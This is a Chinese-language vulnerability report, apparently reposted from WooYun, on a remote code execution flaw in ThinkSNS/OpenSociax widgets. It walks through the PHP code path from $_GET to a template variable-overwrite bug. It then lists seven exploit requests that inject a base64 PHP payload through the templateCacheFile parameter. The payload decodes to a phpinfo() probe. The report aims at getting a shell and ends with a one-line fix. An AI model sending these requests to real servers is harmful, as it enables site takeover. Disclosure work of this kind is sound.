漏洞点出现在DenounceWidget.class.php里: \addons\widget\DenouceWidget\DenouceWidget.class.php:23 /** * 举报弹框 * @return string 弹窗页面HTML */ public function index() { // 获取相关数据 $var = $this->getVar(); $content = $this->renderFile(dirname(__FILE__)."/index.html",$var); return $content; } 可以看到,index函数主要作用是通过$this->getVar()来获取参数,然后再进入到$this->renderFile(dirname(__FILE__)."/index.html",$var)做模板渲染和输出。 先看$this->getVar() \addons\widget\DenouceWidget\DenouceWidget.class.php:56: /** * 格式化模板变量 * @return array 被举报的信息 */ public function getVar(){ if(empty($_GET['aid']) || empty($_GET['fuid']) || empty($_GET['type'])){ return false; } foreach($_GET as $k=>$v){ $var[$k] = t($v); } $var['uid'] = $GLOBALS['ts']['mid']; empty($var['app']) && $var['app'] = 'public'; $var['source'] = model('Source')->getSourceInfo($var['type'],$var['aid'],false,$var['app']); return $var; } 通过foreach将$_GET合并到$var里,之后返回合并后的数组。 接下来进入$this->renderFile(dirname(__FILE__)."/index.html",$var) \core\OpenSociax\Widget.class.php:73 /** * 渲染模板输出 供render方法内部调用 * @access public * @param string $templateFile 模板文件 * @param mixed $var 模板变量 * @param string $charset 模板编码 * @return string */ protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') { $var['ts'] = $GLOBALS['ts']; if (! file_exists_case ( $templateFile )) { // 自动定位模板文件 // $name = substr ( get_class ( $this ), 0, - 6 ); // $filename = empty ( $templateFile ) ? $name : $templateFile; // $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' ); // if (! file_exists_case ( $templateFile )) throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' ); } $template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' ); $content = fetch($templateFile,$var,$charset); return $content; } 直接把$_GET数组里的变量放入fetch里执行,fetch里存在变量覆盖漏洞,于是就可以get shell了。 关于fetch的漏洞细节可以看这里: WooYun: ThinkPHP远程代码执行隐患(需满足特定条件) 两种getshell的方法,一种是include包含webshell的图片,一种是使用filter /index.php?app=widget&mod=Denouce&act=index&aid=1&fuid=1&type=ztz&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D
同样的原理,还有六处分别是在: 其他6个: 1. POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1 app_name=public&table_name=user&content=test&row_id=1&app_detail_summary=1&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D 2. POST /index.php?app=widget&mod=Department&act=change templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D 3. POST /index.php?app=widget&mod=Diy&act=addWidget templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D 4. POST /index.php?app=widget&mod=FeedList&act=loadMore templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D 5. POST /index.php?app=widget&mod=FeedList&act=loadNew templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D&maxId=1 6. POST /index.php?app=widget&mod=Remark&act=edit templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D 解决方案:加强过滤 |
-
上一篇: Web安全实践(12)密码探测 - 网站安全 - 自学php网
下一篇: Web安全实践(7)web服务器简介及常用攻击软件 - 网站安全 - 自学php网
还没有人抢沙发呢~